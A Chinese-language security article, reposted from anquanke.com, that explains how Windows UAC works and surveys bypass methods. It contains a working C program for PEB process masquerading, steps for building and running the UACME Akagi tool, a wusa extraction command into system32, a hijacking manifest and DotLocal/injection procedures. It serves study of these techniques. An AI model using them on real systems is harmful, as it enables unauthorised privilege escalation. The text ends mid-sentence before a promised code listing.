BypassUAC原理及方法匯總
from:https://www.anquanke.com/post/id/216808#h2-0
發布時間:2020-09-21 14:30:06
本文為UAC繞過方式的一些總結,輔以一些個人理解,請各位大佬指正。
什么是UAC
根據MSDN中的文檔,User Account Control(UAC)是在Windows Vista 以后版本中引入的一種安全機制,針對具有有限權限的賬戶.
通過 UAC,應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員特別授予管理員級別的系統訪問權限。UAC 可以阻止未經授權的應用程序自動進行安裝,並防止無意中更改系統設置。
Launched with virtualization意味着對注冊表或者文件系統的更改會在程序結束時失效
launched without elevated privilege 即在非特權級下運行
從上圖中,我們看到如果想獲取管理員權限(讓程序在特權級運行),有以下幾種方式:
- 通過run as administer/ 在shell中執行runas
- 未啟用UAC
- 進程已經擁有管理權限控制
- 進程被用戶允許通過管理員權限運行
UAC的實現
ACL(Access Control List):Windows 中所有資源都有 ACL ,這個列表決定了擁有何種權限的用戶/進程能夠這個資源。
在開啟了 UAC 之后,如果用戶是標准用戶, Windows 會給用戶分配一個標准 Access Token
如果用戶以管理員權限登陸,會生成兩份訪問令牌,一份是完整的管理員訪問令牌(Full Access Token),一份是標准用戶令牌。一般情況下會以標准用戶權限啟動 Explorer.exe 進程。如果用戶同意,則賦予完整管理員權限訪問令牌進行操作。
可以使用whoami /priv
看當前的權限
在研究一些對抗方法的時候,我們可以從“安全總是要讓步於業務”這個不成文的規則入手,不管是一些為了用戶體驗導致的安全性上的犧牲,或者是為了業務邏輯不得不做的一些不安全配置都是因為如此,舉一個例子:我們在開啟UAC的情況下,向安裝位置在%PROGRAMFILES%安裝文件時,總會彈出UAC提示,但是我們安裝完成后,在進行程序卸載時卻不會彈出任何UAC提示,細心的思考一下,你可能就會開始琢磨其中的端倪。本質上是因為Widnows為這些程序(或者接口)開啟了autoElevate,也就是說Windows系統本身維護了一批這樣的在UAC白名單中的程序,而我們就可以利用他們來繞過UAC,當然,這只是其中一種方式.
觸發UAC
- 配置Windows Update
- 增加或刪除用戶賬戶
- 改變用戶的賬戶類型
- 改變UAC設置
- 安裝ActiveX
- 安裝或移除程序
- 安裝設備驅動程序
- 設置家長控制
- 將文件移動或復制到Program Files或Windows目錄
- 查看其他用戶文件夾
等等有很多,具體參考這里
觸發流程:
在觸發 UAC
時,系統會創建一個consent.exe
進程,該進程用以確定是否創建管理員進程(通過白名單和用戶選擇判斷),然后creatprocess
請求進程,將要請求的進程cmdline和進程路徑通過LPC接口傳遞給appinfo的RAiLuanchAdminProcess函數,該函數首先驗證路徑是否在白名單中,並將結果傳遞給consent.exe進程,該進程驗證被請求的進程簽名以及發起者的權限是否符合要求,然后決定是否彈出UAC框讓用戶進行確認。這個UAC框會創建新的安全桌面,屏蔽之前的界面。同時這個UAC框進程是SYSTEM權限進程,其他普通進程也無法和其進行通信交互。用戶確認之后,會調用CreateProcessAsUser函數以管理員權限啟動請求的進程
BypassUAC
目前公開的繞過UAC的幾種方式:
- 各類的UAC白名單程序的DLL劫持
- 各類自動提升權限的COM接口利用(Elevated COM interface)
- Windows 自身漏洞提權
- 遠程注入
本文主要論述前兩種方法
UACME
在分析之前,先介紹一個項目:https://github.com/hfiref0x/UACME,內含60+種BypassUAC的方法,后續會提到,其中包括的工具列表如下:
- Akagi 是項目的主程序,其中包含了所有的Methods,繞過UAC的主要方法的源碼都在Method目錄下,會以UAC繞過方法的發現者的名字來命名源文件。
- Akatsuki 又叫做“曉”,WOW64 logger繞過UAC的利用方法的DLL源碼
- Fubuki 又叫做“暴風雪“,好幾個繞過UAC利用的代理DLL,他們都共用了劫持Ole32.dll的方法
- Hibiki 又叫做“聲音”,AVRF方法繞過UAC的利用方法的DLL源碼
- Ikazuchi 又叫做”雷聲“,利用劫持 comctl32.dll 組件繞過UAC的利用方法的DLL源碼
- Inazuma 又叫做“閃電”,SHIM相關利用的繞過UAC的利用方法的EXE源碼
- Kamikaze 又叫做“神風”,未在工程文件中引用,MMC劫持方法利用的MSC文件
- Kongou 又叫做“金剛”,利用Hybrid方法繞過UAC的Dll,已經排除在新工程中的引用了
- Naka 又叫做“空氣”,壓縮及亦或編碼的小工具源碼
- Yuubari Aka UACView用來查看相關UAC的設定信息,以及掃描存在可利用的程序的工具
clone到本地后,用VS2019打開,選擇uacme.vcxproj,以Release|x64去build(這個根據需要,64位系統就用x64),然后ctrl+b
build項目,生成的項目在source/Akag/output下
Akagi64
使用vs2019
本地編譯后可以使用akagi32 41
或者akagi64 41
啟動程序,41
這個指的是README
中描述的方法索引,運行后可以直接得到管理員權限的cmd
窗口。
Yuubari
編譯方法同上,會生成一個UacInfo64.exe,該工具可以快速查看系統的UAC設定信息以及所有可以利用的程序和COM組件,使用方法如下(會在同一目錄下生成一個log文件記錄所有輸出結果)
這個怎么看,后面會說
利用白名單
上文也已經分析了,如果進程本身具有管理員權限或者可以直接獲取管理員權限的話,就不會彈出UAC框讓用戶確認,這類程序被稱為白名單程序,例如:slui.exe
、wusa.exe
、taskmgr.exe
、msra.exe
、eudcedit.exe
、eventvwr.exe
、CompMgmtLauncher.exe
,rundll32.exe
,explorer.exe
等等。
常見的利用方式有:
DLL
注入(RDI
技術),一般注入到常駐內存的可信進程,如:explorer
DLL
劫持,常和注冊表配合使用達到劫持目的
偽裝成白名單的方法
后續提到的很多方法都需要白名單的進程調用才能自動提權,但是我們的程序本身是我不在白名單的,此時就需要使用偽裝白名單的方式來偽裝成白名單的調用,使用的方法是偽裝進程PEB.
PEB結構(Process Envirorment Block Structure). 英文翻譯過來就是進程環境信息塊,微軟並未完全公布該結構的所有字段含義,只是公布了部分的.該結構中存放了進程信息,每個進程都有自己的 PEB 信息。通過修改目標進程的PEB結構中的路徑信息和命令行信息為想要偽裝的對象一致,就可以將目標進程偽裝成想要偽裝的目標.實現原理如下:
- 通過NtQueryInformationProcess函數獲取指定進程PEB地址。因為該進程與我們的進程可能不在一個進程空間內,所以需要調用WIN32API函數ReadProcessMemory和WriteProcessMemory函數來讀寫目標進程內存。
- 根據PEB中的ProcessParameters來獲取並修改指定進程的RTL_USER_PROCESS_PARAMETERS信息,這個結構體中保存了PEB的路徑信息、命令行信息,修改之后,即可實現進程偽裝。
注意,如果修改進程運行在64位系統上,那么就要編譯為64位;反之,如果修改進程運行在32位系統上,那么就要編譯為32位。(跟被修改進程無關)這樣才能成功修改PEB。
幾個關鍵結構/函數:
typedef struct _PROCESS_BASIC_INFORMATION { PVOID Reserved1; PPEB PebBaseAddress; //peb的基地址 PVOID Reserved2[2]; ULONG_PTR UniqueProcessId; PVOID Reserved3; } PROCESS_BASIC_INFORMATION;
用NtQueryInformationProcess獲取到的內存信息就是該結構的,其中的PebBaseAddress字段記錄了PEB的基地址,為一個_PEB的結構體指針
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; //被調試狀態 這個很多地方用到 BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 進程參數信息 BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB;
主要用到ProcessParameters,PRTL_USER_PROCESS_PARAMETERS的結構為:
typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
我們只要關注ImagePathName和CommandLine,所以來看看這個UNICODE_STRING結構:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING;
然后是幾個關鍵函數:
BOOL ReadProcessMemory( _In_ HANDLE hProcess, // 進程句柄 _In_ LPCVOID lpBaseAddress, // 讀取基址 指向指定進程空間 _Out_ LPVOID lpBuffer, // 接收緩存 _In_ SIZE_T nSize, // 讀取大小 _Out_opt_ SIZE_T *lpNumberOfBytesRead // 接收數據的實際大小 可以設置為NULL );
ReadProcessMemory函數從指定的進程中讀入內存信息,被讀取的區域必須具有訪問權限(PROCESS_VM_READ)。函數執行成功返回非零值。否則返回零,可以使用GetLastError函數獲取錯誤碼。
BOOL WriteProcessMemory( _In_ HANDLE hProcess, // 進程句柄 INVALID_HANDLE_VALUE表示自身進程 _In_ LPVOID lpBaseAddress, // 寫入內存首地址 _Out_ LPCVOID lpBuffer, // 指向欲寫入的數據 _In_ SIZE_T nSize, // 寫入大小 _Out_opt_ SIZE_T *lpNumberOfBytesWritten // 接收實際寫入大小 可以設置為NULL );
WriteProcessMemory函數能寫入某一進程的內存區域。入口區必須可以訪問(PROCESS_VM_WRITE和PROCESS_VM_OPERATION ),否則操作將失敗
這里自己寫一個小Demo來幫助理解:
#include <stdio.h> #include <Windows.h> #include <winternl.h> //PEB Structures, NtQueryInformationProcess #include <TlHelp32.h> //prepare for call NtQueryInformationProcess func typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); // modify ImagePathName and CommandLine in PEB of specific process BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) { // get handle of process /* OpenProcess(訪問權限, 進程句柄是否被繼承, 要被打開的進程PID) */ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess == NULL) { printf("Open Process error!"); return FALSE; } // prepare for getting PEB typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL; PROCESS_BASIC_INFORMATION pbi = { 0 }; PEB peb = { 0 }; RTL_USER_PROCESS_PARAMETERS Param = { 0 }; USHORT usCmdLen = 0; USHORT usPathLen = 0; const WCHAR* NTDLL = L"ntdll.dll"; //NtQueryInformationProcess這個函數沒有關聯的導入庫,必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dll中獲取該函數地址 NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess"); if (NULL == NtQueryInformationProcess) { printf("GetProcAddress Error"); return FALSE; } // get status of specific process NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); if (!NT_SUCCESS(status)) { printf("NtQueryInformationProcess failed"); return FALSE; } // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); // get ProcessParameters in PEB of process ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL); // modify cmdline data usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL); WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL); // modify path data usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL); WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL); return TRUE; } // get PID by ProcessName DWORD FindProcId(const WCHAR* ProcName) { DWORD ProcId = 0; // target procId PROCESSENTRY32 pe32 = { 0 }; // to get snapshot structure pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list if (hProcessShot == INVALID_HANDLE_VALUE) { puts("get proc list error"); return 0; } BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list // compare proc name and get correct process Id while (cProc) { if (wcscmp(pe32.szExeFile, ProcName) == 0) { ProcId = pe32.th32ProcessID; break; } cProc = Process32Next(hProcessShot, &pe32); } return ProcId; } int main() { const WCHAR* ProcessName = L"Calculator.exe"; do { DWORD dwTargetId = FindProcId(ProcessName); if (0 == dwTargetId) { printf("can not find procIdn"); break; } if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE")) { printf("Dsisguise Process Error."); break; } printf("Disguise Process OK."); } while (FALSE); system("pause"); return 0; }
這里有幾點需要注意的:
- 計算長度時,由於wcslen返回的是unicode的字符個數,每個unicode字符占兩個字節,在加上結尾的兩個空字節,所以是2+2*wcslen(lpwszCmd)
- NtQueryInformationProcess這個函數沒有關聯的導入庫,必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dll中獲取該函數地址
Demo運行后,會將Calculator.exe的cmdline和imagepath修改為指定進程的,如果想將路徑也偽裝正確,可以調用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函數獲取偽裝進程的正確路徑
在UACME項目中,是由supMasqueradeProcess函數實現了該技術,原理是一樣的,只不過該函數實現的是偽裝自身的信息。
DLL劫持的幾種方式
DLL加載順序劫持
DLL劫持中最常見的一種劫持方法,即在程序所在目錄放置要劫持的DLL,程序啟動時首先從本目錄加載DLL,從而導致DLL劫持,DLL的加載順序如下:
- 1.程序所在目錄
- 2.程序加載目錄(SetCurrentDirectory)
- 3.系統目錄即 SYSTEM32 目錄
- 4.16位系統目錄即 SYSTEM 目錄
- 5.Windows目錄
- 6.PATH環境變量中列出的目錄
PS:Windows操作系統通過“DLL路徑搜索目錄順序”和“Know DLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能
1號方法用的就是這種方法,以此為例分析一下,7號方法的信息如下:
7.Author: Win32/Carberp derivative
- Type: Dll Hijack
- Method: WUSA
- Target(s): \system32\cliconfg.exe
- Component(s): ntwdblib.dll
- Implementation: ucmWusaMethod
- Works from: Windows 7 (7600)
- Fixed in: Windows 10 TH1 (10147)
- How: WUSA /extract option removed
這里順便以7號方法為例,分析一下UACMe的代碼實現:
主程序:main.c,入口在ucmMain() 傳入一個method號,其中method是個枚舉類型_UCM_METHOD:
typedef enum _UCM_METHOD { UacMethodTest = 0, //+ UacMethodSysprep1 = 1, //+ UacMethodSysprep2, //+ UacMethodOobe, //+ UacMethodRedirectExe, //+ UacMethodSimda, //+ UacMethodCarberp1, //+ UacMethodCarberp2, //+ UacMethodTilon, //+ UacMethodAVrf, //+ UacMethodWinsat, //+ UacMethodShimPatch, //+ UacMethodSysprep3, //+ UacMethodMMC1, //+ UacMethodSirefef, //+ UacMethodGeneric, //+ UacMethodGWX, //+ UacMethodSysprep4, //+ UacMethodManifest, //+ UacMethodInetMgr, //+ UacMethodMMC2, //+ UacMethodSXS, //+ UacMethodSXSConsent, //+ UacMethodDISM, //+ UacMethodComet, //+ UacMethodEnigma0x3, //+ UacMethodEnigma0x3_2, //+ UacMethodExpLife, //+ UacMethodSandworm, //+ UacMethodEnigma0x3_3, //+ UacMethodWow64Logger, //+ UacMethodEnigma0x3_4, //+ UacMethodUiAccess, //+ UacMethodMsSettings, //+ UacMethodTyranid, //+ UacMethodTokenMod, //+ UacMethodJunction, //+ UacMethodSXSDccw, //+ UacMethodHakril, //+ UacMethodCorProfiler, //+ UacMethodCOMHandlers, //+ UacMethodCMLuaUtil, //+ UacMethodFwCplLua, //+ UacMethodDccwCOM, //+ UacMethodVolatileEnv, //+ UacMethodSluiHijack, //+ UacMethodBitlockerRC, //+ UacMethodCOMHandlers2, //+ UacMethodSPPLUAObject, //+ UacMethodCreateNewLink, //+ UacMethodDateTimeWriter, //+ UacMethodAcCplAdmin, //+ UacMethodDirectoryMock, //+ UacMethodShellSdclt, //+ UacMethodEgre55, //+ UacMethodTokenModUiAccess, //+ UacMethodShellWSReset, //+ UacMethodSysprep5, //+ UacMethodEditionUpgradeMgr, //+ UacMethodDebugObject, //+ UacMethodGlupteba, //+ UacMethodShellChangePk, //+ UacMethodMsSettings2, //+ UacMethodMax, UacMethodInvalid = 0xabcdef } UCM_METHOD;
這些是所有支持的BypassUAC的方式,對應着readme中列舉出來的方法
接着就是一些初始化和檢查,直接到MethodsManagerCall函數,該函數會在調用前做一些准備工作,包括如果需要額外的payload,會從資源文件中解密出來.MethodsManagerCall還會根據傳入的Method號在ucmMethodsDispatchTable這個結構體找到調用方法
ucmMethodsDispatchTable是一個UCM_API_DISPATCH_ENTRY的結構體數組,跟着看這個結構體的定義
// UCM_API_DISPATCH_ENTRY定義 typedef struct _UCM_API_DISPATCH_ENTRY { PUCM_API_ROUTINE Routine; //執行的方法 PUCM_EXTRA_CONTEXT ExtraContext; //該方法執行時依賴的額外內容 UCM_METHOD_AVAILABILITY Availability; //可行的最小/最大windows版本號 ULONG PayloadResourceId; //使用的payload dll BOOL Win32OrWow64Required; BOOL DisallowWow64; BOOL SetParameters; //是否需要shared參數被設置 } UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;
在解析完結構體后,根據配置,加載額外的內容或payload.之后獲取其他命令行參數,這里需要重點關注Routine,這個結構體變量,該變量是一個PUCM_API_ROUTINE類型的變量,定義如下:
typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)( _In_ PUCM_PARAMS_BLOCK Parameter ); //稍微擴展一下: typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)( _In_ PUCM_PARAMS_BLOCK Parameter );
即PUCM_API_ROUTINE是一個指向“接受一個PUCM_PARAMS_BLOCK類型作為參數並回傳一個NTSTATUS類型值的函數”的指針別名,也就是說可以通過該函數指針去調用該函數.接着看PUCM_PARAMS_BLOCK:
typedef struct tagUCM_PARAMS_BLOCK { UCM_METHOD Method; PVOID PayloadCode; ULONG PayloadSize; } UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;
PUCM_PARAMS_BLOCK是一個tagUCM_PARAMS_BLOCK的結構體指針,追到這里就可以不用在追了,將關鍵代碼抽出來看:
Entry = &ucmMethodsDispatchTable[Method];
ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;
MethodResult = Entry->Routine(&ParamsBlock);
Entry找到了結構體內對應method的入口,也就是{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },
這一項,這里作出分析,MethodResult = Entry->Routine(&ParamsBlock);
這里其實等價於:`MethodResult = MethodCarberp(&ParamsBlock)
,我們看MethodCarberp的定義:
//#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter) UCM_API(MethodCarberp) { // // Additional checking for UacMethodCarberp1. // Target application 'migwiz' unavailable in Syswow64 after Windows 7. // if (Parameter->Method == UacMethodCarberp1) { if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) { ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING); return STATUS_UNKNOWN_REVISION; } } return ucmWusaMethod( Parameter->Method, Parameter->PayloadCode, Parameter->PayloadSize); }
可見最終調用了ucmWusaMethod這個函數,將關鍵代碼摘出來分析下:
/* * ucmWusaMethod * * Purpose: * * Build and install fake msu package then run target application. * * Fixed in Windows 10 TH1 * */ NTSTATUS ucmWusaMethod( _In_ UCM_METHOD Method, _In_ PVOID ProxyDll, _In_ DWORD ProxyDllSize ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; WCHAR szSourceDll[MAX_PATH * 2]; WCHAR szTargetProcess[MAX_PATH * 2]; WCHAR szTargetDirectory[MAX_PATH * 2]; _strcpy(szTargetProcess, g_ctx->szSystemDirectory); _strcpy(szTargetDirectory, g_ctx->szSystemDirectory); _strcpy(szSourceDll, g_ctx->szTempDirectory); switch (Method) { // // Use cliconfg.exe as target. // szTargetDirectory is system32 // case UacMethodCarberp2: _strcat(szSourceDll, NTWDBLIB_DLL); _strcat(szTargetProcess, CLICONFG_EXE); break; default: return STATUS_INVALID_PARAMETER; } if (!PathFileExists(szTargetProcess)) { return STATUS_OBJECT_NAME_NOT_FOUND; } // // Extract file to the protected directory // First, create cab with fake msu ext, second run fusion process. // if (ucmCreateCabinetForSingleFile( szSourceDll, ProxyDll, ProxyDllSize, NULL)) { if (ucmWusaExtractPackage(szTargetDirectory)) { //run target process for dll hijacking if (supRunProcess(szTargetProcess, NULL)) MethodResult = STATUS_SUCCESS; } ucmWusaCabinetCleanup(); } return MethodResult; }
經過分析可以發現BypassUAC的流程為:
- 生成ellocnak.msu,此文件是一個cab格式的文件,內容為ntwdblib.dll文件(該文件為程序生成的加密Payload),文件放置在用戶臨時目錄下
- 通過之前介紹的WUSA將ellocnak.msu解壓到system32目錄下
cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32
- 運行C:\windows\system32\cliconfg.exe,進行DLL劫持
該方法劫持了cliconfig.exe對ntwdblib.dll的加載。
跟進生成的payload,看一下具體怎么實現的bypassUAC:
payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但這個字段只是一個payload的資源標識符,真正處理的的部分在methods.c中的supLdrQueryResourceData函數,代碼如下:
Resource = supLdrQueryResourceData(
Entry->PayloadResourceId,
ImageBaseAddress,
&DataSize);
supLdrQueryResourceData中的關鍵部分如下:
if (DllHandle != NULL) { IdPath[0] = (ULONG_PTR)RT_RCDATA; //type IdPath[1] = ResourceId; //id IdPath[2] = 0; //lang status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry); if (NT_SUCCESS(status)) { status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData); if (NT_SUCCESS(status)) { if (DataSize) { *DataSize = SizeOfData; } } } }
其中LdrFindResource_U和LdrAccessResource都是從NTdll中導出的API,LdrFindResource_U會根據資源ID找到相應的資源,如果找到,則返回相應的句柄,后續應該使用LdrAccessResource來使用該句柄,這兩個API都沒有找到有人分析的使用方法,但是可以跟進payload中,其拓展如下:
這里又可以在bin32res.rc中找到資源文件的路徑,這里就是加密的payload的了,剛剛我們看到在定義IDPath時,第一項type值為RT_RCDATA,指明了該資源是由.rc文件中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd
我們接着在程序中尋找解密的算法,其解密算法在compress.c中的DecompressPayload函數中定義:
PVOID DecompressPayload( _In_ ULONG PayloadId, _In_ PVOID pbBuffer, _In_ ULONG cbBuffer, _Out_ PULONG pcbDecompressed )
其對應的參數為:
PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);
Resource是加密的資源文件,在這里處理了加密過程
受篇幅所限,這里就不繼續跟下去了,有興趣的讀者可以繼續,其中密鑰被放在了secrets.h中.這種方法就先說到這里
該項目中大部分Bypass UAC的方式都是這種DLL劫持的方法,只是劫持的DLL和EXE有所不同。
使用manifest文件進行DLL劫持
利用manifest進行Bypass UAC的方式是微軟在修復一次由DLL加載順序劫持導致的Bypass UAC時自己暴露出來的一種Bypass UAC的可行方案。
介紹一下manifest:
XP以前版本的windows,執行EXE時會像之前介紹的順序尋找相應的dll,Manifest只是個多余的文件或資源,dll文件會直接到system32的目錄下查找,並且調用。
而XP及其以后的操作系統,則會首先讀取Manifest,獲得exe文件需要調用的DLL列表(此時獲得的,並不直接是DLL文件的本身的位置,而是DLL的manifest)操作系統再根據DLL的Manifest提供的信息去尋找對應的DLL ,這樣就可能區別不同版本的同一個DLL文件。
在Windows中有些可執行程序沒有內置的manifest,假設這個程序叫test.exe,如果攻擊者在該可執行程序目錄下新建一個test.exe.manifest並在manifest文件中指定file元素,則test.exe執行時會加載file元素中loadFrom屬性指定的DLL(loadFrom的dll不能在KnownDlls中)
方法18就是采用這種方法,詳情如下:
Author: Leo Davidson derivative
Type: Dll Hijack (Manifest) Method: IFileOperation Target(s): \system32\taskhost.exe, \system32\tzsync.exe (any ms exe without manifest) Component(s): Attacker defined Implementation: ucmAutoElevateManifest Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14371) How: Manifest parsing logic reviewed
BypassUAC的過程如下(以win7版本為例)
- 先從C:\windows\system32下拷貝taskhost.exe到%temp%\臨時目錄下,再利用高權限進程把taskhost.exe拷貝到C:\windows下
- 在C:\windows\system32\sysprep下寫一個cryptbase.dll(因為在C:\windows\system32\下本身存在cryptbase.dll,為了不影響系統功能,需要將攻擊者自定義內容的cryptbase.dll拷貝到其他地方)並將payload注入到cryptbase.dll中
- 在C:\windows下寫入taskhost.exe.manifest文件.由於taskhost.exe無內置清單文件,所以會從manifest中指定的路徑加載DLL即C:\Windows\system32\sysprep\cryptbase.DLL(該DLL的名稱可變,但file標簽下name的值也需要相應變化,這個標簽指明了taskhost.exe會自動加載的dll名稱,即cryptbase.DLL)
我們看一下taskhost.exe.manifest的內容
<?xml version='1.0' encoding='utf-8' standalone='yes'?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0" > <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevellevel="requireAdministrator"uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <asmv3:application> <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"> <autoElevate>true</autoElevate> </asmv3:windowsSettings> </asmv3:application> <fileloadFrom="C:\Windows\system32\sysprep\cryptbase.DLL"name="cryptbase.DLL" /> </assembly>
在這個方法中,還有一點值得一提,那就是怎么向系統目錄中寫文件而不觸發UAC,在項目中,ucmMasqueradedMoveFileCOM這個函數提供了向特權目錄寫而不觸發UAC的功能,其是通過借助IFileOperation COM對象進行操作的.
IFileOperation COM對象進行文件操作是可以自動提升權限(AutoElevate)(從標准用戶到管理員用戶),但是它會檢查當前使用該COM對象的進程是否為白名單進程,僅白名單進程的條件下可以進行自動權限提升。
在白名單進程中使用IFileOperation COM向受保護目錄寫文件時不會彈出UAC窗口。
使用WinSxS機制進行DLL劫持
WinSxS位於%systemroot%\WinSxS,為windows XP SP2后引入的一種機制,其中存放的是windows系統文件以及Dll文件的若干個副本,由於應用程序可以使用同一個DLL文件,因此出於兼容性與還原至舊版本的考慮,系統會在這里存放多個不同版本的文件副本。
SxS允許二進制文件嵌入manifest文件來表達詳細的二進制依賴信息,當Windows公共控件包comctl32.dll被分裂為多個可以相互並存的版本以后該機制被使用,因而應用程序可以加載正確版本的二進制文件。此后其他的二進制文件也采用相同的方式進行版本管理。
C:\Windows\System32\sysprep\sysprep.exe的manifest文件如下,其中定義了dependency字段,這字段就是用來表達詳細的二進制依賴信息的。
......
<dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly> ......
sysprep.exe在運行時會加載dependency設置的dll,比如name“Microsoft.Windows.Common-Controls”的對應的dll為comctl32.dll,sysprep.exe會加載C:\windwos\winsxs中的comctl32.dll,而不是加載system32下的dll。
但是在加載winsxs下的dll之前,windows會先應用Dotlocal機制去查找dll,這個機制也是MS推出的為了解決兼容性問題的一個機制,exe會首先檢查當前目錄下有沒有sysprep.exe.local的文件夾,如果有則在該文件夾中尋找dll
C:\Windows\System32\sysprep\sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\comctl32.dll
若沒有則會從winsxs下尋找dll
C:\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
所以,我們bypassUAC的思路也就出來了:
- C:\windows\system32\sysprep\下新建文件夾sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\
- 在該文件夾下寫入comctl32.dll
- 運行sysprep.exe進行DLL劫持
對應21號方法:
Author: Leo Davidson derivative
Type: Dll Hijack
Method: IFileOperation, SxS DotLocal Target(s): \system32\sysprep\sysprep.exe Component(s): comctl32.dll Implementation: ucmSXSMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS3 (16232) How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
當然也可以選擇劫持其他程序
通過代碼注入繞過UAC
第14號方法使用了這種技術
Author: Leo Davidson, WinNT/Sirefef derivative
Type: Dll Hijack
Method: IFileOperation Target(s): \system\credwiz.exe, \system32\wbem\oobe.exe Component(s): netutils.dll Implementation: ucmSirefefMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH2 (10548) How: AppInfo elevated application path control hardening
具體操作流程如下:
- 將payloadDll(Fubuki)使用IFileOperation拷貝C:\Windows\system32\wbem\netutils.dll
- 將C:\Windows\system32\credwiz.exe 拷貝到Temp目錄下命名為oobe.exe
- 將Temp\oobe.exe使用IFileOperation拷貝到C:\Windows\system32\wbem\oobe.exe
- 啟動credwiz.exe(以掛起模式CREATE_SUSPENDED啟動)並向其進程注入shellcode(向credwiz中注入的代碼是ucmxElevatedLaunchProc函數的代碼)
- ucmElevatedLaunchProc中執行ShellExec (以runas方式執行)啟動C:\Windows\system32\wbem\oobe.exe,該可執行程序存在DLL劫持,C:\Windows\system32\wbem\netutils.dll得以運行,進而繞過UAC
- 清理system32\wbem下的數據
其中ucmxElevatedLaunchProc的代碼如下:
